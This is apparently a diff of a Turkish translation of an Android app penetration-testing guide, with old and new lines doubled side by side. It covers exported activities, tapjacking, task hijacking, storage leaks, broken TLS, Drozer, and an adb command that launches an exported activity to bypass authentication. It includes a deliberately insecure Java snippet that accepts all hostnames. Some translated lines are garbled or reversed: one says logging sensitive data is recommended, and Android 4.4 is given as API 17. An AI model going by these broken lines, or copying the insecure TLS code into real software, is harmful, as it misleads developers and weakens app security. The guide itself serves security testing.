* **Dışa Aktarılan Aktiviteler ve Servisler**: Manifest'te dışa aktarılan aktiviteler ve servislerin belirlenmesi, yanlış kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenlerin nasıl sömürüleceğini ortaya çıkarabilir. * **Dışa Aktarılan Aktiviteler ve Servisler**: Manifest'te dışa aktarılan aktiviteler ve servislerin belirlenmesi, yanlış kullanılabilecek bileşenleri vurgulayabilir. Dinamik test sırasında daha fazla analiz, bu bileşenlerin nasıl sömürüleceğini ortaya çıkarabilir.
* **İçerik Sağlayıcılar ve Dosya Sağlayıcılar**: Açık hale getirilmiş içerik sağlayıcılar, verilere yetkisiz erişime veya değişikliğe izin verebilir. Dosya sağlayıcıların yapılandırması da incelenmelidir. * **İçerik Sağlayıcılar ve Dosya Sağlayıcılar**: Açık hale getirilmiş içerik sağlayıcılar, verilere yetkisiz erişime veya değişikliğe izin verebilir. Dosya sağlayıcıların yapılandırması da incelenmelidir.
* **Yayın Alıcıları ve URL Şemaları**: Bu bileşenler, özellikle URL şemalarının giriş açıklıkları için nasıl yönetildiğine özel dikkat gösterilerek sömürülebilir. * **Yayın Alıcıları ve URL Şemaları**: Bu bileşenler, özellikle URL şemalarının giriş açıklıkları için nasıl yönetildiğine özel dikkat gösterilerek sömürülebilir.
* **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` özellikleri desteklenen Android sürümlerini belirtir ve güvenlik nedenleriyle güncellenmemiş, güvenlik açıklarına sahip Android sürümlerini desteklememenin önemini vurgular. * **SDK Sürümleri**: `minSdkVersion`, `targetSDKVersion` ve `maxSdkVersion` özellikleri desteklenen Android sürümlerini belirtir ve güvenlik nedenleriyle güncellenmemiş, savunmasız Android sürümlerini desteklememenin önemini vurgular.
**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu nedenle bu kaynakların dikkatli bir şekilde incelenmesi gereklidir. **strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu nedenle bu kaynakların dikkatli bir şekilde incelenmesi gereklidir.
### Tapjacking ### Tapjacking
**Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve bir kurban uygulamanın üzerine yerleştiği bir saldırıdır. Kurban uygulamayııkça gölgelendikten sonra, kullanıcı arayüzü, kullanıcının gerçekte kurban uygulamada işlem yaptığını düşünerek onunla etkileşime geçmesini sağlayacak şekilde tasarlanmıştır.\ **Tapjacking**, bir **kötü niyetli uygulamanın** başlatıldığı ve bir kurban uygulamanın üzerine yerleştiği bir saldırıdır. Kurban uygulamayııkça gölgelediğinde, kullanıcı arayüzü, kullanıcıyı yanıltacak şekilde tasarlanmıştır ve kullanıcıyı etkileşime girmeye ikna etmek için tasarlanmıştırken, gerçekte kullanıcıyı kurban uygulamada eylemler gerçekleştirdiğini bilmemesini sağlar.\
Bu şekilde, kullanıcıyı, gerçekte kurban uygulamada işlem yaptığını bilmekten alıkoyar. Etkisiyle, kullanıcıyı **gerçekte kurban uygulamada eylemler gerçekleştirdiğini bilmekten alıkoyar**.
Daha fazla bilgi için: Daha fazla bilgi için:
@ -105,7 +105,7 @@ Daha fazla bilgi için:
### Görev Kaçırma ### Görev Kaçırma
**`launchMode`** özelliği **`singleTask`** olarak ayarlanmış bir **aktivite**nin tanımlanmamış **`taskAffinity`** ile birlikte, görev Kaçırma açısından savunmasızdır. Bu, bir **uygulamanın** yüklenip gerçek uygulamadan önce başlatılabilir ve gerçek uygulamanın görevini **kaçırabilir** (bu nedenle kullanıcı, gerçek uygulamayı kullandığını düşünerek **kötü niyetli uygulama ile etkileşimde olacaktır**). **`launchMode`** özelliği **`singleTask`** olarak ayarlanmış bir **aktivite**nin tanımlanmamış **`taskAffinity`** ile belirlenmemiş olması, görev Kaçırmaya karşı savunmasızdır. Bu, bir **uygulamanın** yüklenip gerçek uygulamadan önce başlatılabilir ve gerçek uygulamanın görevini **kaçırabilir** (bu nedenle kullanıcı, gerçek uygulamayı kullandığını düşünerek **kötü niyetli uygulamayla etkileşimde olacaktır**).
Daha fazla bilgi için: Daha fazla bilgi için:
@ -117,43 +117,43 @@ Daha fazla bilgi için:
**Dahili Depolama** **Dahili Depolama**
Android'de dahili depolamada **saklanan** dosyaların, yalnızca onları **oluşturan uygulama** tarafından **erişilebilir** olması amaçlanmıştır. Bu güvenlik önlemi, Android işletim sistemi tarafından uygulanır ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen dosyaların farklı uygulamalar arasında **paylaşılmasına izin vermek** için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanabilir. Bununla birlikte, bu modlar bu dosyalara diğer uygulamaların, potansiyel olarak kötü niyetli olanların da dahil olmak üzere erişimini **kısıtlamaz**. Android'de dahili depolamada **saklanan** dosyaların, yalnızca onları **oluşturan uygulama** tarafından **erişilebilir** olması amaçlanmıştır. Bu güvenlik önlemi, Android işletim sistemi tarafından uygulanır ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen dosyaların farklı uygulamalar arasında **paylaşılmasına izin vermek** için `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanabilir. Bununla birlikte, bu modlar bu dosyalara diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, **erişimi kısıtlamaz**.
1. **Statik Analiz:** 1. **Statik Analiz:**
* `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelendiğinden emin olun**. Bu modlar, dosyaların **istenmeyen veya izinsiz erişime maruz kalabileceği** anlamına gelebilir. * `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelendiğinden emin olun**. Bu modlar, dosyaların **istenmeyen veya yetkisiz erişime maruz kalabileceği** anlamına gelebilir.
2. **Dinamik Analiz:** 2. **Dinamik Analiz:**
* Uygulama tarafından oluşturulan dosyalara ayarlanan **izinleri doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir olup olmadığını kontrol edin**. Bu, herhangi bir uygulamanın, kökeni veya amacı ne olursa olsun, bu dosyaları **okuyabileceği veya değiştirebileceği** anlamına gelir. * Uygulama tarafından oluşturulan dosyalara ayarlanan **izinleri doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir olup olmadığını kontrol edin**. Bu, herhangi bir uygulamanın, kökeni veya niyeti ne olursa olsun, bu dosyaları **okuyabileceği veya değiştirebileceği** anlamına gelir.
**Harici Depolama** **Harici Depolama**
Harici depolamada, örneğin SD Kartlar üzerindeki dosyalarla uğraşırken bazı önlemler alınmalıdır: Harici depolamadaki dosyalarla uğraşırken, SD Kartlar gibi, belirli önlemler alınmalıdır:
1. **Erişilebilirlik**: 1. **Erişilebilirlik**:
* Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. * Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir.
2. **Güvenlik Endişeleri**: 2. **Güvenlik Endişeleri**:
* Erişimin kolaylığı göz önüne alındığında, harici depolamada **hassas bilgileri saklamamak** tavsiye edilir. * Erişimin kolaylığı göz önüne alındığında, harici depolamada **hassas bilgileri saklamamak** tavsiye edilir.
* Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir olduğundan, daha az güvenlidir. * Harici depolama çıkarılabilir veya herhangi bir uygulama tarafından erişilebilir olduğundan, daha az güvenlidir.
3. **Harici Depolamadan Gelen Verilerin İşlenmesi**: 3. **Harici Depolamadan Veri İşleme**:
* Harici depolamadan alınan veriler üzerinde **giriş doğrulaması yapılmalıdır**. Bu, verinin güvenilir olmayan bir kaynaktan geldiği için önemlidir. * Harici depolamadan alınan veriler üzerinde **giriş doğrulaması** yapın. Bu, verinin güvenilir olmayan bir kaynaktan geldiği için hayati önem taşır.
* Harici depolamadan alınan yürütülebilir dosyaların veya sınıf dosyalarının depolanması dinamik yükleme için kesinlikle tavsiye edilmez. * Harici depolamadan yürütülebilir dosyaları veya sınıf dosyalarını saklamak kesinlikle tavsiye edilmez.
* Uygulamanızın harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların dinamik olarak yüklendiklerinde **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. * Uygulamanızın harici depolamadan yürütülebilir dosyalar alması gerekiyorsa, bu dosyaların **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olunmadan dinamik olarak yüklenmeden önce. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir.
Harici depolama `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` dizinlerinde **erişilebilir** olabilir. Harici depolama `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir** olabilir.
{% hint style="info" %} {% hint style="info" %}
Android 4.4 (**API 17**) ile başlayarak, SD kartın bir uygulamadan diğerine özel olarak belirlenmiş dizine erişimi **sınırlayan bir dizin yapısı** vardır. Bu, kötü niyetli uygulamanın başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. Android 4.4 (**API 17**) ile başlayarak, SD kartın bir uygulamanın belirli olarak ayrılmış dizinine erişimi **sınırlayan bir dizin yapısı** vardır. Bu, kötü niyetli uygulamanın başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller.
{% endhint %} {% endhint %}
**Açık metin olarak saklanan hassas veriler** **Açık metinde saklanan hassas veriler**
* **Paylaşılan tercihler**: Android, her uygulamanın `/data/data/<paketadı>/shared_prefs/` yolunda kolayca xml dosyalarını kaydetmesine izin verir ve bazen bu klasörde açık metinlerde hassas bilgiler bulunabilir. * **Paylaşılan tercihler**: Android, her uygulamanın `/data/data/<paketadı>/shared_prefs/` yolunda kolayca xml dosyalarını kaydetmesine izin verir ve bazen bu klasörde açık metinde hassas bilgiler bulunabilir.
* **Veritabanları**: Android, her uygulamanın `/data/data/<paketadı>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metinlerde hassas bilgiler bulunabilir. * **Veritabanları**: Android, her uygulamanın `/data/data/<paketadı>/databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metinde hassas bilgiler bulunabilir.
### Kırık TLS ### Kırık TLS
**Tüm Sertifikaları Kabul Etme** **Tüm Sertifikaları Kabul Et**
Bazı durumlarda geliştiriciler, örneğin, hostname eşleşmediğinde bile tüm sertifikaları kabul ederler gibi kod satırlarıyla, herhangi bir sertifikayı kabul edebilirler: Bazen geliştiriciler, örneğin, **hostname** ile eşleşmese bile tüm sertifikaları kabul ederler:
```java ```java
SSLSocketFactory sf = new cc(trustStore); SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -166,15 +166,15 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kod içinde sab
**Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı** **Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı**
Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** için. Bu algoritmalar arasında: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash'ler** kullanılıyorsa, hash'lerin tuz ile birlikte kullanılması gerekmektedir. Geliştiriciler, yetkilendirme **kontrolleri**, **veri depolama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır. Bu algoritmalar arasında RC4, MD4, MD5, SHA1 gibi algoritmalar bulunmaktadır. Örneğin şifreleri depolamak için **hash'ler** kullanılıyorsa, hash'lerin tuz ile birlikte kullanılması gerekmektedir.
### Diğer Kontroller ### Diğer Kontroller
* APK'nin **karıştırılması** önerilir, bu, saldırganların tersine mühendislik çalışmalarını zorlaştırır. * APK'nin **karıştırılması** önerilir, bu, saldırganların tersine mühendislik çalışmalarını zorlaştırır.
* Uygulama hassas ise (örneğin banka uygulamaları), mobil cihazın root edilip edilmediğini kontrol etmeli ve buna göre hareket etmelidir. * Uygulama hassas ise (örneğin banka uygulamaları), uygulamanın **köklendirilmiş mobil cihazı kontrol etmesi** ve buna göre hareket etmesi gerekmektedir.
* Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. * Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatörün kullanılıp kullanılmadığını kontrol etmelidir**.
* Uygulama hassas ise (örneğin banka uygulamaları), **değiştirilip değiştirilmediğini kontrol etmek için kendi bütünlüğünü kontrol etmelidir**. * Uygulama hassas ise (örneğin banka uygulamaları), uygulamanın **değiştirilip değiştirilmediğini kontrol etmeden önce kendi bütünlüğünü kontrol etmesi** gerekmektedir.
* APK'nin nasıl oluşturulduğunu kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın. * APK'nin nasıl derlendiğini kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın.
### React Native Uygulaması ### React Native Uygulaması
@ -194,17 +194,17 @@ Xamarin uygulamalarının C# kodlarına kolayca erişmek için aşağıdaki sayf
### Süper Paketlenmiş Uygulamalar ### Süper Paketlenmiş Uygulamalar
Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açabilen bir uygulama oluşturma olasılığından bahseder... ve daha hızlı bir yol olan **uygulamayı çalıştırıp dosya sistemindeki açılmış dosyaları toplamak**. Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) göre, süper paketlenmiş, bir uygulamanın içeriğini tek bir dosyaya sıkıştıran bir Meta algoritmadır. Blog, bu tür uygulamaları açabilen bir uygulama oluşturma olasılığından bahseder... ve daha hızlı bir yol olan **uygulamayı çalıştırarak dosya sistemindeki açılmış dosyaları toplamak**.
### Otomatik Statik Kod Analizi ### Otomatik Statik Kod Analizi
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın kodunu tarayarak **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **bilinen kaynaklar** (kullanıcının girdisinin kontrol edildiği yerleri aracıya belirten), **sızıntılar** (kötü niyetli kullanıcı girdisinin zarar vermesine neden olabilecek tehlikeli yerleri belirten) ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sızıntı** kombinasyonunu belirtir. [**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın kodunu tarayarak **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **bilinen kaynaklar** (kullanıcının girişini kontrol ettiği **yerleri** aracı belirten), **sızıntılar** (kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli yerleri** belirten) ve **kurallar** içerir. Bu kurallar, bir zayıflığı belirten **kaynak-sızıntı** kombinasyonunu gösterir.
Bu bilgiyle, **mariana-trench kodu inceleyecek ve olası zayıflıkları bulacaktır**. Bu bilgiyle, **mariana-trench kodu inceleyecek ve olası zayıflıkları bulacaktır**.
### Sızan Sırlar ### Sızan Sırlar
Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler, gizli URL'ler, alt alanlar...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz. Bir uygulama, içinde (API anahtarları, şifreler, gizli URL'ler, alt alanlar...) keşfedebileceğiniz sırlar içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz.
### Biyometrik Kimlik Doğrulamasını Atlatma ### Biyometrik Kimlik Doğrulamasını Atlatma
@ -212,7 +212,7 @@ Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler,
[bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md) [bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md)
{% endcontent-ref %} {% endcontent-ref %}
### Diğer İlginç Fonksiyonlar ### Diğer ilginç fonksiyonlar
* **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` * **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
* **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage` * **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
@ -246,9 +246,9 @@ Yeni hata avcılıklarını ve önemli platform güncellemelerini takip edin
## Dinamik Analiz ## Dinamik Analiz
> İlk olarak, uygulamayı ve tüm ortamı (Burp CA sertifikası, Drozer ve Frida özellikle) yükleyebileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir. > İlk olarak, uygulamayı ve tüm ortamı (Burp CA sertifikası, Drozer ve Frida özellikle) yükleyebileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklendirilmiş bir cihaz (emüle edilmiş veya değil) kesinlikle önerilir.
### Çevrimiçi Dinamik Analiz ### Çevrimiçi Dinamik analiz
[https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap oluşturabilirsiniz**. Bu platform, APK'leri **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nin nasıl davrandığını görmek için faydalıdır. [https://appetize.io/](https://appetize.io) adresinde **ücretsiz bir hesap oluşturabilirsiniz**. Bu platform, APK'leri **yüklemenize** ve **çalıştırmanıza** olanak tanır, bu nedenle bir APK'nin nasıl davrandığını görmek için faydalıdır.
@ -273,88 +273,88 @@ ADB bağlantısı sayesinde emülatörlerde **Drozer** ve **Frida** kullanabilir
* [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez). * [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
{% hint style="info" %} {% hint style="info" %}
Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Mümkünse küçük ekranları seçin. Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışacaktır. Mümkünse küçük ekranları seçin.
{% endhint %} {% endhint %}
Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resimdeki kırmızı işaretli düğmeye tıklamanız gerekmektedir: Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resimdeki kırmızı işaretli düğmeye tıklamanız gerekmektedir:
![](<../../.gitbook/assets/image (200) (1).png>) ![](<../../.gitbook/assets/image (200) (1).png>)
Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Köprü Ağ Modunu** seçebilirsiniz (bu, araçlarla Android VM'ye bağlanacaksanız farklı bir VM'den bağlanacaksanız faydalı olacaktır). Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Köprü Ağ Modunu** seçebilirsiniz (bu, araçlarla farklı bir VM'den Android VM'ye bağlanacaksanız faydalı olacaktır).
#### Fiziksel bir cihaz kullanın #### Fiziksel bir cihaz kullanın
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekiyor ve mümkünse cihazı **root** etmeniz iyi olur: **Hata ayıklama** seçeneklerini etkinleştirmeniz gerekiyor ve mümkünse cihazı **root** etmeniz iyi olur:
1. **Ayarlar**. 1. **Ayarlar**.
2. (Android 8.0'dan itibaren) **Sistem**'i seçin. 2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
3. **Telefon hakkında**'yı seçin. 3. **Telefon Hakkında**'yı seçin.
4. **Yapı numarası**na 7 kez dokunun. 4. **Yapı numarası**na 7 kez dokunun.
5. Geri gidin ve **Geliştirici seçenekleri**ni bulacaksınız. 5. Geri gidin ve **Geliştirici seçenekleri**ni bulacaksınız.
> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, uygulamayı denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ > Uygulamayı yükledikten sonra yapmanız gereken ilk şey, uygulamayı denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
> **Bu ilk dinamik analizi MobSF dinamik analiz + pidcat kullanarak yapmanızı öneririm**, böylece MobSF uygulamanın nasıl çalıştığını öğrenirken birçok ilginç veriyi yakalayabilir ve daha sonra inceleyebiliriz. > **Bu ilk dinamik analizi MobSF dinamik analiz + pidcat kullanarak yapmanızı öneririm**, böylece MobSF uygulamanın nasıl çalıştığını öğrenirken birçok ilginç veriyi yakalayabilir ve daha sonra inceleyebilirsiniz.
### İstenmeyen Veri Sızıntısı ### İstenmeyen Veri Sızıntısı
**Günlükleme** **Günlükleme**
Geliştiricilerin, hassas veri sızıntılarına yol açabileceği için **hata ayıklama bilgilerini** dikkatli bir şekilde kamuya açmamaları gerekmektedir. **Pidcat** ve `adb logcat` araçları, hassas bilgileri tanımlamak ve korumak için uygulama günlüklerini izlemek için önerilmektedir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir. Geliştiricilerin, hassas veri sızıntılarına yol açabileceği için **hata ayıklama bilgilerini** dikkatlice açıklamamaları gerekmektedir. Uygulama günlüklerini izlemek ve hassas bilgileri tanımlamak ve korumak için **pidcat** ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilir.
{% hint style="warning" %} {% hint style="warning" %}
**Android 4.0'dan daha yeni sürümlerden itibaren**, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Bu nedenle uygulamalar diğer uygulamaların günlüklerine erişemez.\ **Android 4.0'dan daha yeni sürümlerinden itibaren**, **uygulamalar yalnızca kendi günlüklerine erişebilirler**. Bu nedenle uygulamalar diğer uygulamaların günlüklerine erişemez.\
Yine de, **hassas bilgileri günlükleme** önerilmez. Yine de **hassas bilgileri günlükleme** önerilir.
{% endhint %} {% endhint %}
**Kopyala/Yapıştır Arabellek Önbelleği** **Kopyala/Yapıştır Arabelleği Önbelleği**
Android'in **pano tabanlı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliğini sağlar, ancak diğer uygulamaların panoya erişebilmesi, hassas verilerin ortaya çıkmasına neden olabilir. Hassas bölümler için, örneğin kredi kartı bilgileri için, veri sızıntısını önlemek için kopyala/yapıştır işlevlerini devre dışı bırakmak önemlidir. Android'in **pano tabanlı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliğini etkinleştirirken, diğer uygulamaların panoya erişebilmesi riski oluşturur ve hassas verilerin açığa çıkmasına neden olabilir. Hassas bölümler için, örneğin kredi kartı bilgileri gibi, kopyala/yapıştır işlevlerini devre dışı bırakmak, veri sızıntılarını önlemek için hayati önem taşır.
**Çökme Günlükleri** **Çökme Günlükleri**
Bir uygulama **çöktüğünde ve günlükler kaydedildiğinde**, bu günlükler özellikle uygulama tersine mühendislik edilemediğinde saldırganlara yardımcı olabilir. Bu riski azaltmak için çökme durumunda günlükleme yapmaktan kaçının ve günlükler ağ üzerinden iletilmek zorunda kalırsa, bunların güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. Bir uygulama **çöktüğünde ve günlükler kaydedildiğinde**, bu günlükler özellikle uygulama tersine mühendislik edilemediğinde saldırganlara yardımcı olabilir. Bu riski azaltmak için çökme durumunda günlükleme yapmaktan kaçının ve günlükler ağ üzerinden iletilmek zorunda kalırsa, güvenlik için bunların SSL kanalı üzerinden gönderildiğinden emin olun.
Pentester olarak, **bu günlüklere bir göz atmayı deneyin**. Pentester olarak, **bu günlüklere bir göz atmayı deneyin**.
**Üçüncü Taraf Şirketlere Gönderilen Analiz Verileri** **Üçüncü Taraf Şirketlere Gönderilen Analiz Verileri**
Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiriciler tarafından yanlış uygulama nedeniyle hassas veri sızıntısına neden olabilir. Potansiyel veri sızıntılarını belirlemek için uygulamanın trafiğini **sözde** etmek ve üçüncü taraf hizmetlerine gönderilen hassas bilgileri kontrol etmek tavsiye edilir. Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliştiriciler tarafından yanlış uygulama nedeniyle hassas veri sızıntılarına neden olabilir. Potansiyel veri sızıntılarını belirlemek için uygulamanın trafiğini **sözde** etmek ve üçüncü taraf hizmetlerine gönderilen hassas bilgileri kontrol etmek tavsiye edilir.
### SQLite Veritabanları ### SQLite Veritabanları
Çoğu uygulama, bilgileri kaydetmek için **dahili SQLite veritabanlarını** kullanacaktır. Pentest sırasında oluşturulan **veritabanlarına**, **tablo** ve **sütun** adlarına ve kaydedilen **tüm verilere** bir göz atın çünkü **hassas bilgiler** (bir zayıflık olabilir) bulabilirsiniz.\ Çoğu uygulama, bilgileri kaydetmek için **dahili SQLite veritabanlarını** kullanır. Pentest sırasında oluşturulan **veritabanlarına**, **tablo** ve **sütun** adlarına ve kaydedilen **tüm verilere** bir **göz atın**, çünkü **hassas bilgiler** içerebilir (bu bir zayıflık olabilir).\
Veritabanları, `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda olmalıdır. Veritabanları, `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda olmalıdır.
Eğer veritabanı gizli bilgileri kaydediyorsa ve **şifreli** ise ancak uygulama içinde **şifreyi bulabilirseniz** yine de bir **zayıflık** olacaktır. Eğer veritabanı gizli bilgileri kaydediyorsa ve **şifreli** ise ancak uygulama içinde **şifreyi bulabilirseniz**, bu yine de bir **zayıflık** olacaktır.
`.tables` kullanarak tabloları sıralayın ve `.schema <table_name>` yaparak tabloların sütunlarını sıralayın. `.tables` kullanarak tabloları sıralayın ve `.schema <table_name>` yaparak tabloların sütunlarını sıralayın.
### Drozer (Saldırı Faaliyetleri, İçerik Sağlayıcıları ve Hizmetler) ### Drozer (Saldırı Faaliyetleri, İçerik Sağlayıcılar ve Hizmetler)
[Drozer Belgelerinden](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Android'in İşlem Arası İletişim (IPC) mekanizmasını kullanabilir ve altta yatan işletim sistemiyle etkileşimde bulunabilir.\ [Drozer Belgelerinden](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Android'in İşlem Arası İletişim (IPC) mekanizmasından yararlanabilir ve altta yatan işletim sistemiyle etkileşimde bulunabilir.\
Drozer, ihraç edilen faaliyetleri, ihraç edilen hizmetleri ve İçerik Sağlayıcılarını **sömürmek** için kullanışlı bir araçtır, bu konuları aşağıdaki bölümlerde öğreneceksiniz. Drozer, dışa aktarılan faaliyetleri, dışa aktarılan hizmetleri ve İçerik Sağlayıcıları **sömürmek** için kullanışlı bir araçtır, bu konuları aşağıdaki bölümlerde öğreneceksiniz.
### İhraç Edilen Faaliyetleri Sömürme ### Dışa Aktarılan Faaliyetleri Sömürme
[**Bir Android Faaliyetinin ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ [**Bir Android Faaliyetinin ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Ayrıca bir faaliyetin kodu **`onCreate`** yönteminde başlar. Ayrıca bir faaliyetin kodu **`onCreate`** yönteminde başlar.
**Yetkilendirme atlatma** **Yetkilendirme atlatma**
Bir Faaliyet ihraç edildiğinde, dış uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgiler** içeren bir faaliyet **ihraç edilmişse**, **kimlik doğrulama** mekanizmalarını **atlayarak** ona **erişebilirsiniz.** Bir Faaliyet dışa aktarıldığında, harici bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgiler** içeren bir faaliyet **dışa aktarıldığında**, **kimlik doğrulama** mekanizmalarını **atlayarak** ona **erişebilirsiniz.**
Drozer ile ihraç edilen faaliyetleri nasıl sömüreceğinizi öğrenmek için [**burayı okuyun.**](drozer-tutorial/#activities) Drozer ile dışa aktarılan faaliyetleri nasıl sömüreceğinizi öğrenmek için [**burayı okuyun.**](drozer-tutorial/#activities)
Ayrıca adb'den ihraç edilen bir faaliyeti başlatabilirsiniz: Ayrıca adb'den dışa aktarılan bir faaliyeti başlatabilirsiniz:
* PaketAdı com.example.demo * Paket Adı com.example.demo
* İhraç Edilen FaaliyetAdı com.example.test.MainActivity * Dışa Aktarılan Faaliyet Adı com.example.test.MainActivity
```bash ```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity adb shell am start -n com.example.demo/com.example.test.MainActivity
``` ```
